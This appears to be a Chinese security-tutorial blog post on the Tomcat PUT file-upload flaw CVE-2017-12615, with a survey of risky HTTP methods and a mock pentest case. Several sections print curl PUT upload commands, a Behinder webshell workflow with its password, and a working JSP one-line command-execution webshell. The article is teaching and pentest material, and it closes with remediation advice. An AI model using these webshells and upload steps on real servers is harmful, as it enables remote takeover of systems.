当前位置: 首页 > news >正文

HTTP请求方法安全剖析(不安全的网络请求方法):从CVE-2017-12615看PUT/DELETE的风险利用

目录

1. CVE-2017-12615漏洞的原理

2. 如何复现CVE-2017-12615漏洞

步骤:

注意事项

3. 如何通过这个漏洞上传webshell JSP并写出JSP一句话木马

JSP一句话木马示例

上传步骤

结果

4. 网络安全中的请求方法有哪些

5. 不安全的网络请求方法及实际利用案例

不安全的请求方法

总结

6. 利用最多的不安全网络请求方法

7. 综合实际工作案例及思路

场景

步骤

思路总结



1. CVE-2017-12615漏洞的原理

  • CVE-2017-12615是一个影响Apache Tomcat的漏洞,具体存在于某些版本(如7.0.0到7.0.79)中。这个漏洞的核心在于,当Tomcat服务器启用了HTTP的PUT请求方法时,攻击者可以通过该方法直接向服务器上传任意文件,包括恶意文件(如webshell)。
  • 在正常情况下,Tomcat会对PUT请求进行限制,但由于配置不当或版本缺陷,攻击者可以绕过这些限制。
  • PUT方法是HTTP协议中用于上传文件的功能,当服务器未正确验证上传文件的权限或路径时,攻击者就能将恶意代码部署到服务器上,从而可能实现远程代码执行。

漏洞成因总结:

  • 触发条件:Tomcat启用PUT方法,且存在版本漏洞。

  • 后果:攻击者可上传任意文件,进而控制服务器。


2. 如何复现CVE-2017-12615漏洞

要复现这个漏洞,你需要一个存在该漏洞的Tomcat环境。

以下是详细步骤:

步骤:
  1. 确认Tomcat版本

    • 检查目标服务器运行的Tomcat版本是否在受影响范围内(如7.0.0到7.0.79)。可以通过HTTP响应头或错误页面泄露的版本信息来确认。

  2. 启用PUT方法

    • 默认情况下,Tomcat可能禁用PUT请求。你需要修改配置文件(如web.xmlserver.xml),确保PUT方法可用。通常需要在<servlet>标签中添加对PUT的支持。

  3. 准备测试环境

    • 搭建一个本地或虚拟机上的Tomcat服务器,模拟目标环境。

  4. 发送PUT请求

    • 使用工具(如curl或Burp Suite)向目标服务器发送PUT请求,尝试上传文件。

    • 例如:

      curl -X PUT http://target_server:8080/test.jsp -d @local_file.jsp
      • target_server: 目标服务器地址。

      • test.jsp: 上传的目标文件路径。

      • local_file.jsp: 本地待上传的文件。

  5. 验证复现

    • 访问http://target_server:8080/test.jsp,检查文件是否成功上传并可访问。

注意事项
  • 确保网络连通性和权限允许PUT请求。

  • 在合法授权的测试环境中操作,避免非法行为。

实现过程:

  • Tomcat框架存在一个任意文件上传的漏洞,对此我们使用Burp Suite的repeater模块进行Tomcat任意文件上传漏洞测试。

    • 首先打开BurpSuite,随机抓取一个http://192.168.96.21:2002站点的数据包

      • 之后将该数据包发送至都验证模块

    • 将抓取的数据包的请求方式修改为PUT,将请求的URI修改为/112.jsp/

      • 在请求头部新增请求头

    • Content-Type:application/x-www-form-urlencoded
    • 并且将请求内容修改为冰蝎3

    • webshell的文本内容。

    • 点击GO 服务端响应状态码201,证明Tomcat框架存在任意文件上传漏洞,且webshell文件已成功上传到目标服务器,webshell路径如下

  • http://192.168.96.132:2002/112.jsp/
  •      源请求地址
  • 直接修改参数再对应位置

  • 连接冰蝎

  • 密码rebeyond

  • 双击该webshell信息后,将出现webshell管理功能菜单,包含基本信息,命令执行 虚拟机终端,文件管理,内网穿透,反弹shell等功能。


3. 如何通过这个漏洞上传webshell JSP并写出JSP一句话木马

利用CVE-2017-12615上传webshell的步骤与普通文件上传类似,但需要构造一个恶意JSP文件(如webshell)。

JSP一句话木马示例

一个简单的JSP一句话木马如下:

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
  • 作用:这段代码会执行HTTP请求中cmd参数指定的系统命令。例如,访问http://target_server:8080/shell.jsp?cmd=whoami将返回服务器当前用户。

上传步骤
  1. 创建webshell文件

    • 将上述代码保存为shell.jsp

  2. 使用PUT请求上传

    • 执行以下命令:

      curl -X PUT http://target_server:8080/shell.jsp -d @shell.jsp
  3. 验证webshell

    • 访问http://target_server:8080/shell.jsp?cmd=dir(Windows)或http://target_server:8080/shell.jsp?cmd=ls(Linux),检查是否返回命令执行结果。

结果

如果成功,你将获得一个可执行任意命令的webshell,从而控制服务器。


4. 网络安全中的请求方法有哪些

HTTP协议定义了多种请求方法,每种方法有不同的用途。以下是常见的HTTP请求方法及其逻辑:

  • GET

    • 用途:从服务器获取资源(如网页、图片)。

    • 特点:参数通常附加在URL中,可见且常用于查询。

  • POST

    • 用途:向服务器提交数据(如表单提交)。

    • 特点:参数在请求体中,适合传输大量或敏感数据。

  • PUT

    • 用途:上传或更新服务器上的资源。

    • 特点:可直接修改服务器文件(如CVE-2017-12615利用)。

  • DELETE

    • 用途:删除服务器上的指定资源。

    • 特点:需权限控制,否则可能导致数据丢失。

  • HEAD

    • 用途:获取资源的元信息(如响应头),不返回主体内容。

    • 特点:常用于测试链接有效性。

  • OPTIONS

    • 用途:查询服务器支持的HTTP方法。

    • 特点:可用于侦察服务器配置。

  • TRACE

    • 用途:回显服务器收到的请求内容。

    • 特点:用于调试,但可能被滥用。

  • CONNECT

    • 用途:建立与服务器的隧道连接(如HTTPS代理)。

    • 特点:常用于SSL通信。

这些方法构成了客户端与服务器交互的基础,但在网络安全中,某些方法可能被攻击者利用。


5. 不安全的网络请求方法及实际利用案例

以下是不安全的HTTP请求方法及其潜在风险和实际案例:

不安全的请求方法
  • PUT

    • 风险:允许上传文件,若未限制,可能导致恶意文件部署。

    • 案例:CVE-2017-12615,攻击者上传webshell控制服务器。

  • DELETE

    • 风险:可删除服务器资源,若无权限验证,可能破坏系统。

    • 案例:未授权的DELETE请求删除网站关键文件。

  • POST

    • 风险:提交数据时,若存在输入验证漏洞,可能引发SQL注入、XSS等。

    • 案例:通过POST提交恶意SQL语句,窃取数据库内容。

  • TRACE

    • 风险:回显请求内容,可能被用于XSS或窃取cookie。

    • 案例:利用TRACE方法触发XSS,窃取用户会话。

  • OPTIONS

    • 风险:泄露服务器支持的方法,为后续攻击提供信息。

    • 案例:攻击者通过OPTIONS探测PUT支持,结合CVE-2017-12615攻击。

总结

不安全的方法通常涉及修改服务器状态(如PUT、DELETE)或数据提交(如POST),若缺乏防护,极易被利用。


6. 利用最多的不安全网络请求方法

在实际攻击中,利用最多的不安全请求方法包括:

  • POST

    • 原因:广泛用于数据提交,常与SQL注入、XSS、文件上传漏洞结合。

    • 占比:因使用频率高,攻击场景最多。

  • GET

    • 原因:参数可见,易于CSRF或参数篡改攻击。

    • 占比:虽不直接修改服务器,但利用广泛。

  • PUT

    • 原因:直接上传文件,特定漏洞(如CVE-2017-12615)中非常关键。

    • 占比:在文件上传场景中突出。

结论:POST和GET因通用性高而最常被利用,PUT在特定漏洞中危害更大。


7. 综合实际工作案例及思路

假设你是一名渗透测试员,目标是测试一个运行Tomcat的Web应用是否存在CVE-2017-12615漏洞。以下是综合案例和思路:

场景
  • 目标:某公司内网Tomcat服务器(版本7.0.70)。

  • 任务:评估其安全性并提交漏洞报告。

步骤
  1. 信息收集

    • 发送HTTP请求,查看响应头,发现Server: Apache-Coyote/1.1,确认Tomcat版本为7.0.70(在漏洞范围内)。

  2. 探测支持方法

    • 使用curl -X OPTIONS http://target_server:8080/,返回支持PUT,确认潜在风险。

  3. 测试文件上传

    • 创建test.txt(内容为“hello”),执行:

      curl -X PUT http://target_server:8080/test.txt -d @test.txt
    • 访问http://target_server:8080/test.txt,显示“hello”,确认PUT可用。

  4. 上传webshell

    • 创建shell.jsp(内容为<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>),执行:

      curl -X PUT http://target_server:8080/shell.jsp -d @shell.jsp
  5. 验证控制

    • 访问http://target_server:8080/shell.jsp?cmd=whoami,返回服务器用户(如SYSTEM),确认成功。

  6. 报告与修复

    • 报告:记录漏洞细节、复现步骤及危害(远程代码执行)。

    • 建议:升级Tomcat至最新版本,禁用PUT方法(修改web.xml添加<http-method>限制)。

思路总结
  • 从信息收集到漏洞验证,逐步确认CVE-2017-12615。

  • 利用PUT方法特性,结合webshell实现攻击。

  • 强调合法性和授权测试的重要性。


相关文章:

  • JavaScript的常用数组API原理
  • jspm企业采购管理系统的设计与实现(源码+lw+部署文档+讲解),源码可白嫖!
  • 第四篇:[特殊字符] 深入理解MyBatis[特殊字符] 掌握MyBatis Generator ——入门与实战
  • AI 边缘计算盒子:开启智能物联新时代
  • Proteus 仿真51单片机-串口收发小窥
  • ES关系映射(数据库中的表结构)
  • MySQL数据库---修改密码以及设置密码永过期
  • 云渗透二(云主机攻防)
  • 搭建一个网站需要选择什么配置的服务器?
  • 服务器数据恢复—AIX小型机误删数据如何找回?
  • Mysql联表查询
  • C++实用函数:bind
  • AcWing 1583:PAT 计数 ← 中国电子学会青少年软件编程等级考试(2024年C++四级)
  • spark-shell基础知识
  • VMware 安装 win10 系统的教程
  • java是实现视频流Rtsp转Rtmp
  • 从工业到家居:电源方案的广泛应用 | 多领域解决方案
  • VMWare 16 PRO 安装 Rocky8 并部署 MySQL8
  • 低功耗数字工厂的新时代:安卓触摸一体机助力绿色高效管理
  • SAP ABAP BOM 抬头更改(BAPI:CSAP_MAT_BOM_MAINTAIN)
  • 神舟二十号任务完成最后一次全区合练,发射场做好发射前各项准备
  • 新质生产力的宜昌解法:抢滩“高智绿”新赛道,化工产品一克卖数千元
  • 上海之旅相册②俄罗斯Chaika:客居六年,致上海的情书
  • 解放日报:128岁的凤凰自行车“双轮驱动”逆风突围
  • 新闻1+1丨居民水电气计量收费乱象,如何治?
  • 上海市政府常务会议部署多措并举促进消费,提高居民收入,减轻家庭负担